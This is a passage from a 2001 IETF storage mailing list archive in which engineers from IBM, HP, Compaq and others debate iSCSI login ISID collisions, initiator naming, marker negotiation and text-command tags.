time "trying" ISID's in use by the "other > agents". > > However, I'm starting to have more sympathy with Julian's concerns due > to > the apparent risks of different vendors' initiator implementations not > following the rules. > > I just imagined having vendor A's HBA installed and happily servicing > applications, installing vendor B's "plug-n-play" implementation, and > having > all A's sessions aborted cause B doesn't know how to play right :-( > > Marj > From owner-ips@ece.cmu.edu Thu Sep 6 15:26:36 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA06633 for ; Thu, 6 Sep 2001 15:26:36 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f86HUag29388 for ips-outgoing; Thu, 6 Sep 2001 13:30:36 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from chmls06.mediaone.net (chmls06.mediaone.net [24.147.1.144]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f86HUXP29381 for ; Thu, 6 Sep 2001 13:30:34 -0400 (EDT) Received: from breinhold ([140.186.40.85]) by chmls06.mediaone.net (8.11.1/8.11.1) with SMTP id f86Gh4m11121; Thu, 6 Sep 2001 12:43:04 -0400 (EDT) From: "Barry Reinhold" To: "Julian Satran" Cc: "ISCSI" Subject: Marker negotiation Date: Thu, 6 Sep 2001 12:43:54 -0400 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Julain, If doing a numerical negotiation - such as for marker intervals - if a range is offered that is not liked what is the responder expected to do? Numerical negotiations don't allow for selection of values out of range. Example: I -> FMarker=send-receive T -> FMarker=send-receive I -> RFMarkint=1,12 T -> doesn't want anything below 1024. What does he do? Barry Reinhold Principal Architect Trebia Networks barry.reinhold@trebia.com 603-868-5144/603-659-0885/978-929-0830 x138 From owner-ips@ece.cmu.edu Thu Sep 6 15:52:58 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA07040 for ; Thu, 6 Sep 2001 15:52:58 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f86Hqmf00925 for ips-outgoing; Thu, 6 Sep 2001 13:52:48 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from e31.bld.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f86HqjP00920 for ; Thu, 6 Sep 2001 13:52:45 -0400 (EDT) Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.99.140.23]) by e31.bld.us.ibm.com (8.9.3/8.9.3) with ESMTP id NAA21970; Thu, 6 Sep 2001 13:50:27 -0400 Received: from d03nm065.boulder.ibm.com (d03nm065.boulder.ibm.com [9.99.140.49]) by westrelay02.boulder.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f86HqZt227670; Thu, 6 Sep 2001 11:52:36 -0600 X-Priority: 1 (High) Importance: Normal Subject: RE: iSCSI: login issue - partial consensus call To: Cc: , X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000 Message-ID: From: "John Hufferd" Date: Thu, 6 Sep 2001 10:51:52 -0700 X-MIMETrack: Serialize by Router on D03NM065/03/M/IBM(Release 5.0.8 |June 18, 2001) at 09/06/2001 11:52:35 AM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Eddy, I believe you have this wrong. The iSCSI Initiator Node Name comes from the OS, NOT the HBA. The iSCSI Initiator function is suppose to use the same iSCSI Initiator Node Name as that was assigned to the OS. The OS is suppose to have some method to send to the iSCSI HBA, the iSCSI Initiator Node Name so that it can configure itself to use that Name. If this was not True then the Authentication would be based on the Adapter interface, as it is in FC, instead of the OS. We did not want the administrator to have to know about all those HBAs, only names associated with OSs. By the way, the OS is also suppose to have a way to hand out (partition up) ISIDs to the various iSCSI Initiator functions, whether they are Software or Hardware. So, even though, I was initially swayed by Nick's Arguments -- we require the OS to partition up the ISID space and hand out specific ISIDs or ranges of ISIDs (in some manor) to the iSCSI Initiator functions (regardless of whether they are in Software or Hardware) -- I do not now see, if the implementation is as specified in our spec., how there is a conflict in ISID. . . . John L. Hufferd Senior Technical Staff Member (STSM) IBM/SSG San Jose Ca Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 Home Office (408) 997-6136 Internet address: hufferd@us.ibm.com "Eddy Quicksall" @ece.cmu.edu on 09/06/2001 07:56:50 AM Please respond to Sent by: owner-ips@ece.cmu.edu To: , cc: Subject: RE: iSCSI: login issue - partial consensus call But wouldn't the two different vendors you mention below have different iSCSI Initiator Names? Remember, the Initiator is not the host, it is the HBA in this case. If two different HBA's are going to play together then a common driver would be used and the driver would provide the iSCSI Initiator Name. Then, the ISID would be properly maintained by the driver. Think of the Initiator Name as the owner of the ISID's for that name. Eddy -----Original Message----- From: Martin, Nick [mailto:Nick.Martin@compaq.com] Sent: Wednesday, September 05, 2001 5:50 PM To: KRUEGER,MARJORIE (HP-Roseville,ex1); ips@ece.cmu.edu Subject: RE: iSCSI: login issue - partial consensus call Marj, You mention vendors not knowing how to play right. The problem is that iSCSI does not and will not specify how two HBAs from different vendors installed in the same Initiator should or could get a range of ISIDs for their exclusive use. This will be operating system specific and vendor defined. It is uncertain that the same tool or repository would be used by all HBA vendors in any environment. Given this, accidental overlap in ISID space is not unlikely. Given that there is no one way to play right, we must make sure that everyone can at least play nice. My expectation is that sessions are infrequently established and long lived. ISIDs may be re-used at will by their current owners. When no "already owned" ISIDs are available, or an attempt to re-use an "already owned" ISID failed, and HBA would need to a) "probe" for a new available ISID or b) fail the request to establish the session. Session recovery should not be attempted unless a session is known to have failed. If tools are available, and the administrator has used them correctly, then HBAs will not collide in ISID space. If the tools are not available or were not used correctly, I would hope the second HBA can still attempt to come up without impacting the sessions established by the first. Again, I state my support for a login with existing ISID harmlessly fails (the Target state does not change) unless a session recovery indicator is set. Also if a session recovery indicator is set, and the ISID is not in use (by this Initiator at this Target), the login also fails. Thanks, Nick -----Original Message----- From: KRUEGER,MARJORIE (HP-Roseville,ex1) [mailto:marjorie_krueger@hp.com] Sent: Friday, August 31, 2001 12:09 PM To: Martin, Nick; ips@ece.cmu.edu Subject: RE: iSCSI: login issue - partial consensus call > In particular this enables independent agents within the same initiator to > attempt a login without knowing all ISIDs in use by other agents. Each > agent would know the ISID of sessions it had successfully established, but > not the ISIDs for sessions established by others. It can use the ISIDs it > knows to recover sessions it owns. If an agent gets a failure attempting to > establish a new session, it would pick a different ISID and > retry (or just quit), rather than disrupting a session of another agent. The intent of the presentation on SCSI/iSCSI modeling, and the text in the draft, is to illustrate how this example is not a recommended implementation choice due to the probability of violating the SCSI/iSCSI rules pointed out. If the "independant agents" had partitioned the ISID space, there would be no collision on login and no time wasted. Your illustrated implementation could spend significant time "trying" ISID's in use by the "other agents". However, I'm starting to have more sympathy with Julian's concerns due to the apparent risks of different vendors' initiator implementations not following the rules. I just imagined having vendor A's HBA installed and happily servicing applications, installing vendor B's "plug-n-play" implementation, and having all A's sessions aborted cause B doesn't know how to play right :-( Marj From owner-ips@ece.cmu.edu Thu Sep 6 16:35:50 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA08137 for ; Thu, 6 Sep 2001 16:35:49 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f86IpEa05067 for ips-outgoing; Thu, 6 Sep 2001 14:51:14 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel1.hp.com (palrel1.hp.com [156.153.255.242]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f86IpCP05062 for ; Thu, 6 Sep 2001 14:51:12 -0400 (EDT) Received: from hpcuhe.cup.hp.com (hpcuhe.cup.hp.com [15.0.80.203]) by palrel1.hp.com (Postfix) with ESMTP id 47A20FE5 for ; Thu, 6 Sep 2001 11:51:11 -0700 (PDT) Received: from cup.hp.com (santoshr@hpindhhm.cup.hp.com [15.8.80.197]) by hpcuhe.cup.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) with ESMTP id LAA00897 for ; Thu, 6 Sep 2001 11:51:03 -0700 (PDT) Message-ID: <3B97C6EF.422B5687@cup.hp.com> Date: Thu, 06 Sep 2001 11:56:47 -0700 From: Santosh Rao Organization: Hewlett Packard, Cupertino. X-Mailer: Mozilla 4.7 [en] (X11; U; HP-UX B.11.00 9000/778) X-Accept-Language: en MIME-Version: 1.0 To: ips@ece.cmu.edu Subject: Re: iSCSI: login issue - partial consensus call References: <31891B757C09184BBFEC5275F85D5595104DBF@cceexc18.americas.cpqcorp.net> Content-Type: multipart/mixed; boundary="------------27163EAF99A52BBF2E155169" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multi-part message in MIME format. --------------27163EAF99A52BBF2E155169 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit "Martin, Nick" wrote: > The problem is that iSCSI does not and will not specify how two HBAs > from different vendors installed in the same Initiator should or could > get a range of ISIDs for their exclusive use. This will be operating > system specific and vendor defined. It is uncertain that the same tool > or repository would be used by all HBA vendors in any environment. > Given this, accidental overlap in ISID space is not unlikely. In the above scenario, if the HBAs do not have an interface to receive a range of ISIDs from the OS iscsi driver, then, they must also lack an interface to be handed down an iscsi initiator node name from the OS driver. Without using a common iscsi initiator node name, the ISID issue does not arise for multiple HBAs. [since each would be using its own iscsi name]. OTOH, if the HBAs have an interface to be handed down an iscsi initiator node name from the OS driver, there's no reason for them to not provide an interface to be handed down an ISID or a range of ISIDs for their use. I am in favor of option (A) since it is the simplest and a well designed HBA should be providing interfaces for the OS driver to assign the HBA an iscsi initiator node name as well as a range of ISIDs, thus, rendering Nick's scenario unlikely. > > Given that there is no one way to play right, we must make sure that > everyone can at least play nice. > > My expectation is that sessions are infrequently established and long > lived. ISIDs may be re-used at will by their current owners. When no > "already owned" ISIDs are available, or an attempt to re-use an "already > owned" ISID failed, and HBA would need to a) "probe" for a new available > ISID or b) fail the request to establish the session. Session recovery > should not be attempted unless a session is known to have failed. > > If tools are available, and the administrator has used them correctly, > then HBAs will not collide in ISID space. If the tools are not > available or were not used correctly, I would hope the second HBA can > still attempt to come up without impacting the sessions established by > the first. If the tools were not available, how does the 2nd HBA get assigned the same iscsi initiator node name as the first ? The ISID issue is only applicable if both HBAs are sharing the same iscsi initiator node name. I would like to understand the rationale behind an HBA interface allowing an initiator node name to be assigned, but not an ISID or a range of ISIDs (?). Regards, Santosh --------------27163EAF99A52BBF2E155169 Content-Type: text/x-vcard; charset=us-ascii; name="santoshr.vcf" Content-Description: Card for Santosh Rao Content-Disposition: attachment; filename="santoshr.vcf" Content-Transfer-Encoding: 7bit begin:vcard n:Rao;Santosh tel;work:408-447-3751 x-mozilla-html:FALSE org:Hewlett Packard, Cupertino.;SISL adr:;;19420, Homestead Road, M\S 43LN, ;Cupertino.;CA.;95014.;USA. version:2.1 email;internet:santoshr@cup.hp.com title:Software Design Engineer x-mozilla-cpt:;21088 fn:Santosh Rao end:vcard --------------27163EAF99A52BBF2E155169-- From owner-ips@ece.cmu.edu Thu Sep 6 16:36:59 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA08164 for ; Thu, 6 Sep 2001 16:36:57 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f86Il8v04756 for ips-outgoing; Thu, 6 Sep 2001 14:47:08 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from ztxmail05.ztx.compaq.com (ztxmail05.ztx.compaq.com [161.114.1.209]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f86Il6P04752 for ; Thu, 6 Sep 2001 14:47:06 -0400 (EDT) Received: by ztxmail05.ztx.compaq.com (Postfix, from userid 12345) id F3F39509; Thu, 6 Sep 2001 13:46:49 -0500 (CDT) Received: from cceexg11.americas.cpqcorp.net (cceexg11.americas.cpqcorp.net [16.110.250.125]) by ztxmail05.ztx.compaq.com (Postfix) with ESMTP id 52293789; Thu, 6 Sep 2001 13:46:48 -0500 (CDT) Received: from cceexc18.americas.cpqcorp.net ([16.110.250.64]) by cceexg11.americas.cpqcorp.net with Microsoft SMTPSVC(5.0.2195.2966); Thu, 6 Sep 2001 13:46:48 -0500 X-MimeOLE: Produced By Microsoft Exchange V6.0.4418.65 content-class: urn:content-classes:message Subject: RE: iSCSI: login issue - partial consensus call Date: Thu, 6 Sep 2001 13:46:47 -0500 Message-ID: <31891B757C09184BBFEC5275F85D5595104DC0@cceexc18.americas.cpqcorp.net> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Thread-Topic: iSCSI: login issue - partial consensus call Thread-Index: AcE25DrhUcXvbqLWEdWqmgBQiwLxogAA/rFg From: "Martin, Nick" To: , X-OriginalArrivalTime: 06 Sep 2001 18:46:48.0262 (UTC) FILETIME=[48B9D660:01C13704] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ece.cmu.edu id f86Il7P04753 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 8bit Eddy, Yes, two HBAs in the same host could have different initiator names, but are they really separate initiators? It is likely that they could provide two paths to the same target. Perhaps one is an HBA and the other is a software stack on a standard NIC. Must they have separate access rights? Should the target have to maintain their identities separately? If all HBAs within a system share the same InitiatorName, they can be used interchangeably for path fail-over. If they do not, then the target will need to maintain separate access rights for each HBA within the same system. I agree, that if they have different InitiatorName they can not have ISID collisions, so there is no issue. If they do share a common InitiatorName, can they peacefully co-exist in the same ISID space within the protocol? Can they establish sessions with a common target without stepping on each other, and also without requiring a common host based mechanism for partitioning the ISID space? Today in Fibre Channel, permissions at the target are generally administered using the unique WWUID of each HBA. A host with multiple HBAs must have permissions for each HBA to access the same storage or identically wired HBAs still do not have identical privileges. I hoped that with iSCSI InitiatorName was identifying the host, not the HBA so that identical permissions would normally be granted to all HBAs within a single host. Probably I have missed the point somewhere. Perhaps this what "AccessID" is for? If no two HBAs (even in the same host) will share the same InitiatorName, then their ISID spaces are not shared. Even software only iSCSI stacks must then invent unique InitiatorName. The remaining reason to maintain a difference between recovery login and initial login would be ... I'm not sure. Thanks, Nick -----Original Message----- From: Eddy Quicksall [mailto:eddy_quicksall@ivivity.com] Sent: Thursday, September 06, 2001 9:57 AM To: Martin, Nick; ips@ece.cmu.edu Subject: RE: iSCSI: login issue - partial consensus call But wouldn't the two different vendors you mention below have different iSCSI Initiator Names? Remember, the Initiator is not the host, it is the HBA in this case. If two different HBA's are going to play together then a common driver would be used and the driver would provide the iSCSI Initiator Name. Then, the ISID would be properly maintained by the driver. Think of the Initiator Name as the owner of the ISID's for that name. Eddy -----Original Message----- From: Martin, Nick [mailto:Nick.Martin@compaq.com] Sent: Wednesday, September 05, 2001 5:50 PM To: KRUEGER,MARJORIE (HP-Roseville,ex1); ips@ece.cmu.edu Subject: RE: iSCSI: login issue - partial consensus call Marj, You mention vendors not knowing how to play right. The problem is that iSCSI does not and will not specify how two HBAs from different vendors installed in the same Initiator should or could get a range of ISIDs for their exclusive use. This will be operating system specific and vendor defined. It is uncertain that the same tool or repository would be used by all HBA vendors in any environment. Given this, accidental overlap in ISID space is not unlikely. Given that there is no one way to play right, we must make sure that everyone can at least play nice. My expectation is that sessions are infrequently established and long lived. ISIDs may be re-used at will by their current owners. When no "already owned" ISIDs are available, or an attempt to re-use an "already owned" ISID failed, and HBA would need to a) "probe" for a new available ISID or b) fail the request to establish the session. Session recovery should not be attempted unless a session is known to have failed. If tools are available, and the administrator has used them correctly, then HBAs will not collide in ISID space. If the tools are not available or were not used correctly, I would hope the second HBA can still attempt to come up without impacting the sessions established by the first. Again, I state my support for a login with existing ISID harmlessly fails (the Target state does not change) unless a session recovery indicator is set. Also if a session recovery indicator is set, and the ISID is not in use (by this Initiator at this Target), the login also fails. Thanks, Nick -----Original Message----- From: KRUEGER,MARJORIE (HP-Roseville,ex1) [mailto:marjorie_krueger@hp.com] Sent: Friday, August 31, 2001 12:09 PM To: Martin, Nick; ips@ece.cmu.edu Subject: RE: iSCSI: login issue - partial consensus call > In particular this enables independent agents within the same initiator to > attempt a login without knowing all ISIDs in use by other agents. Each > agent would know the ISID of sessions it had successfully established, but > not the ISIDs for sessions established by others. It can use the ISIDs it > knows to recover sessions it owns. If an agent gets a failure attempting to > establish a new session, it would pick a different ISID and > retry (or just quit), rather than disrupting a session of another agent. The intent of the presentation on SCSI/iSCSI modeling, and the text in the draft, is to illustrate how this example is not a recommended implementation choice due to the probability of violating the SCSI/iSCSI rules pointed out. If the "independant agents" had partitioned the ISID space, there would be no collision on login and no time wasted. Your illustrated implementation could spend significant time "trying" ISID's in use by the "other agents". However, I'm starting to have more sympathy with Julian's concerns due to the apparent risks of different vendors' initiator implementations not following the rules. I just imagined having vendor A's HBA installed and happily servicing applications, installing vendor B's "plug-n-play" implementation, and having all A's sessions aborted cause B doesn't know how to play right :-( Marj From owner-ips@ece.cmu.edu Thu Sep 6 16:37:16 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA08191 for ; Thu, 6 Sep 2001 16:37:16 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f86Ik2704685 for ips-outgoing; Thu, 6 Sep 2001 14:46:02 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from crufty.research.bell-labs.com (crufty.research.bell-labs.com [204.178.16.49]) by ece.cmu.edu (8.11.0/8.10.2) with SMTP id f86IjuP04676 for ; Thu, 6 Sep 2001 14:45:56 -0400 (EDT) Received: from scummy.research.bell-labs.com ([135.104.2.10]) by crufty; Thu Sep 6 14:40:23 EDT 2001 Received: from aura.research.bell-labs.com (aura.research.bell-labs.com [135.104.46.10]) by scummy.research.bell-labs.com (8.11.4/8.11.4) with ESMTP id f86Ii0l35632; Thu, 6 Sep 2001 14:44:00 -0400 (EDT) Received: from research.bell-labs.com (IDENT:sandeepj@sandeepj-pcmh.research.bell-labs.com [135.104.47.90]) by aura.research.bell-labs.com (8.9.1/8.9.1) with ESMTP id OAA12771; Thu, 6 Sep 2001 14:44:00 -0400 (EDT) Message-ID: <3B97C3F0.B68930A5@research.bell-labs.com> Date: Thu, 06 Sep 2001 14:44:00 -0400 From: Sandeep Joshi X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.16-3 i686) X-Accept-Language: en MIME-Version: 1.0 To: hufferd@us.ibm.com CC: ips@ece.cmu.edu Subject: Re: iSCSI: login issue - partial consensus call References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit John, Is this what you are referring to ? (Sec 1.3 of Naming & Discovery) > b) The ISID name space of the iSCSI Initiator should be partitioned > among the intiator portal groups. How do you perceive this will be achieved in practice ? This can turn out to be an nightmare for HBA vendors. IRQ settings, jumpers, or setup programs which run at boot instantly come to mind. Ideally, ISIDs should work as SCAM works but that would involve adding a mid-layer to OSes, to distribute that ISID name space. Modifying OSes in the field is tough, as we all know. I realize the standard wont mandate such configuration items but I'd rather we not add rules which would force such configuration tweaks to become necessary. We should reconsider the above rule and its consequence on the login issue Nick brought up. Regards, -Sandeep John Hufferd wrote: > > By the way, the OS is also suppose to have a way to hand out (partition up) > ISIDs to the various iSCSI Initiator functions, whether they are Software > or Hardware. > > So, even though, I was initially swayed by Nick's Arguments -- we require > the OS to partition up the ISID space and hand out specific ISIDs or ranges > of ISIDs (in some manor) to the iSCSI Initiator functions (regardless of > whether they are in Software or Hardware) -- I do not now see, if the > implementation is as specified in our spec., how there is a conflict in > ISID. > . > . > . > John L. Hufferd > Senior Technical Staff Member (STSM) > IBM/SSG San Jose Ca > Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 > Home Office (408) 997-6136 > Internet address: hufferd@us.ibm.com From owner-ips@ece.cmu.edu Thu Sep 6 16:37:34 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA08203 for ; Thu, 6 Sep 2001 16:37:33 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f86J37005849 for ips-outgoing; Thu, 6 Sep 2001 15:03:07 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel13.hp.com (palrel13.hp.com [156.153.255.238]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f86J31P05841 for ; Thu, 6 Sep 2001 15:03:01 -0400 (EDT) Received: from hpcuhe.cup.hp.com (hpcuhe.cup.hp.com [15.0.80.203]) by palrel13.hp.com (Postfix) with ESMTP id A89FA1F55A for ; Thu, 6 Sep 2001 12:02:55 -0700 (PDT) Received: from cup.hp.com (santoshr@hpindhhm.cup.hp.com [15.8.80.197]) by hpcuhe.cup.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) with ESMTP id MAA02165 for ; Thu, 6 Sep 2001 12:02:50 -0700 (PDT) Message-ID: <3B97C9B2.A2432DF0@cup.hp.com> Date: Thu, 06 Sep 2001 12:08:34 -0700 From: Santosh Rao Organization: Hewlett Packard, Cupertino. X-Mailer: Mozilla 4.7 [en] (X11; U; HP-UX B.11.00 9000/778) X-Accept-Language: en MIME-Version: 1.0 To: ips@ece.cmu.edu Subject: Re: iSCSI - bookmarks change References: <000001c136da$43f1b910$f501a8c0@eddylaptop> Content-Type: multipart/mixed; boundary="------------1DBEDC221EB0ED13328FE50F" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multi-part message in MIME format. --------------1DBEDC221EB0ED13328FE50F Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Eddy, I am also in favor of keeping the TTT in text command/responses and had proposed the same about 4 months ago. (See : http://www.pdl.cmu.edu/mailinglists/ips/mail/msg04527.html). In any multi PDU exchange, such as a WRITE scsi cmd, or a multi-pdu text command, the target should be allowed to use a TTT that allows it to perform a lookup for its state information for that exchange. This is the simplest scheme and prevents any special case code in targets to perform a lookup of their state information for an exchange. Regards, Santosh Eddy Quicksall wrote: > If the ITT is going to be kept, why not also have the TTT? The same argument > used to justify the ITT for the initiator could be used to justify the TTT > for the target. > > Eddy > > -----Original Message----- > From: Julian Satran [mailto:Julian_Satran@il.ibm.com] > Sent: Thursday, September 06, 2001 1:12 AM > To: ips@ece.cmu.edu > Subject: Re: iSCSI - bookmarks change > > Mark, > > Comments in text - Julo > > Mark Bakke @cisco.com on 05-09-2001 22:21:31 > > Please respond to Mark Bakke > > Sent by: mbakke@cisco.com > > To: Julian Satran/Haifa/IBM@IBMIL > cc: ips@ece.cmu.edu > Subject: Re: iSCSI - bookmarks change > > The timeouts are the reason several of us had wanted something > other than bookmarks in the first place; that's when we had > proposed the "option 5" scheme that allowed an initiator to > control the amount of data to be sent, and the target to not > have to keep any state for text commands. Since the initiator > has to keep state anyway (while waiting for responses), we did > not want to also have to keep state on the target. > > +++ I understand that. I went through this line of though, and saw that > the > the target will anyhow have to implement a time-out as it can't > completely > rely aon the initiator for more than a single request/response (and even > there not). > It was preferable then to let thing be as simple as possible - 1 > response/request. +++ > > Anyway, the bookmarks will work fine; I just want to see > this not get too complicated, and not have too many options. > > If we are going to use bookmarks, I would at least like to > see only one outstanding text command at a time, regardless > of what we do with the ITT. I really don't see any difference > between looking up an ITT or just looking at some value in > a connection structure; I'll have the latter anyway. > > +++ Just regularity - the ITT mechanism is there and will be used for > every > PDU > and for some recovery+++ > > I don't see the difficulty. Anyway, leaving ITT in does not > hurt anything in the target, if we can at least change the > SHOULD to MUST, the target can do the lookup either way. > > If we simply have to have a way for a special implementation > to do multiple outstanding text commands, we could say: > > An initiator SHOULD have only one outstanding command on > a connection at any given time. > > A target receiving a text command while another text command > is in progress on the same connection MAY reject either or > both commands. > +++ OK +++ > Standard implementations would then have only one outstanding > command at a time; vendor-specific implementations could have > multiples if they wish (providing that both initiator and target > support them). > > -- --------------1DBEDC221EB0ED13328FE50F Content-Type: text/x-vcard; charset=us-ascii; name="santoshr.vcf" Content-Description: Card for Santosh Rao Content-Disposition: attachment; filename="santoshr.vcf" Content-Transfer-Encoding: 7bit begin:vcard n:Rao;Santosh tel;work:408-447-3751 x-mozilla-html:FALSE org:Hewlett Packard, Cupertino.;SISL adr:;;19420, Homestead Road, M\S 43LN, ;Cupertino.;CA.;95014.;USA. version:2.1 email;internet:santoshr@cup.hp.com title:Software Design Engineer x-mozilla-cpt:;21088 fn:Santosh Rao end:vcard --------------1DBEDC221EB0ED13328FE50F-- From owner-ips@ece.cmu.edu Thu Sep 6 16:43:38 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA08593 for ; Thu, 6 Sep 2001 16:43:38 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f86JMP207178 for ips-outgoing; Thu, 6 Sep 2001 15:22:25 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from chmls06.mediaone.net (chmls06.mediaone.net [24.147.1.144]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f86JMMP07170 for ; Thu, 6 Sep 2001 15:22:23 -0400 (EDT) Received: from breinhold ([140.186.40.85]) by chmls06.mediaone.net (8.11.1/8.11.1) with SMTP id f86IMPm18444 for ; Thu, 6 Sep 2001 14:22:25 -0400 (EDT) From: "Barry Reinhold" To: "ISCSI" Subject: FCIP: Intent of standard in 6.6.2.2 Date: Thu, 6 Sep 2001 14:23:14 -0400 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit I would like to ensure that I am understanding the intent of the standard correctly relative to clause 6.6.2.2 (draft 05). Under the verification SHALL be accomplished.... item C "At least 6 other of the 21 distinct tests listed above." This means that there SHALL be six other fields tested and that if any one of them fail then sync. in the TCP stream shall not be considered acquired. It also means that a frame with 15 fields in error could pass the verification test of some device and that device would still be consider compliant. Anyone reading this differently? Barry Reinhold Principal Architect Trebia Networks barry.reinhold@trebia.com 603-868-5144/603-659-0885/978-929-0830 x138 From owner-ips@ece.cmu.edu Thu Sep 6 16:48:09 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA08697 for ; Thu, 6 Sep 2001 16:48:09 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f86I9kW02106 for ips-outgoing; Thu, 6 Sep 2001 14:09:46 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f86I9iP02101 for ; Thu, 6 Sep 2001 14:09:44 -0400 (EDT) Received: from core.rose.hp.com (core.rose.hp.com [15.43.208.100]) by atlrel2.hp.com (Postfix) with ESMTP id 9DF8BBD1 for ; Thu, 6 Sep 2001 14:09:36 -0400 (EDT) Received: (from cbm@localhost) by core.rose.hp.com (8.9.3 (PHNE_22672)/8.8.6 SMKit7.02) id LAA12619 for ips@ece.cmu.edu; Thu, 6 Sep 2001 11:10:55 -0700 (PDT) Message-Id: <200109061810.LAA12619@core.rose.hp.com> Subject: RE: iSCSI: login issue - partial consensus call To: ips@ece.cmu.edu Date: Thu, 06 Sep 2001 11:10:54 PDT Reply-To: cbm@rose.hp.com From: "Mallikarjun C." X-Mailer: Elm [revision: 212.5] Sender: owner-ips@ece.cmu.edu Precedence: bulk Let me make one last attempt to explain why I dislike B. >And in reply to David's suggestion for a mandatory management interface to >disable the C-bit. If iSCSI can mandate that, then it can mandate a >management interface for setting/configuring ISID partitions and the >problem goes away of non-cooperating HBAs. Jim is right on. Enforcing ISID partitioning, or C-bit setting - either works for well-behaved initiators. Neither works with incorrect implementations. To tilt the balance, option A is simpler. -- Mallikarjun Mallikarjun Chadalapaka Networked Storage Architecture Network Storage Solutions Organization MS 5668 Hewlett-Packard, Roseville. cbm@rose.hp.com >Folks, > >Though I'm getting ready to throw in the towel on this issue (mostly >because it isn't really worth the fight), I want to state again my rational >for not supporting Option B. > >Option A is the simplest for everyone. > >Option B has much more complexity and is subject to the same results as >Option A if the C bit is used indiscriminantly. How use of the C-bit is >controlled is actually outside the scope of the standard because >enforcement of requirements is by the receiving end of the protocol and >there's nothing for the target to do in this case. The target can't say "I >don't think you really meant that". A "good" 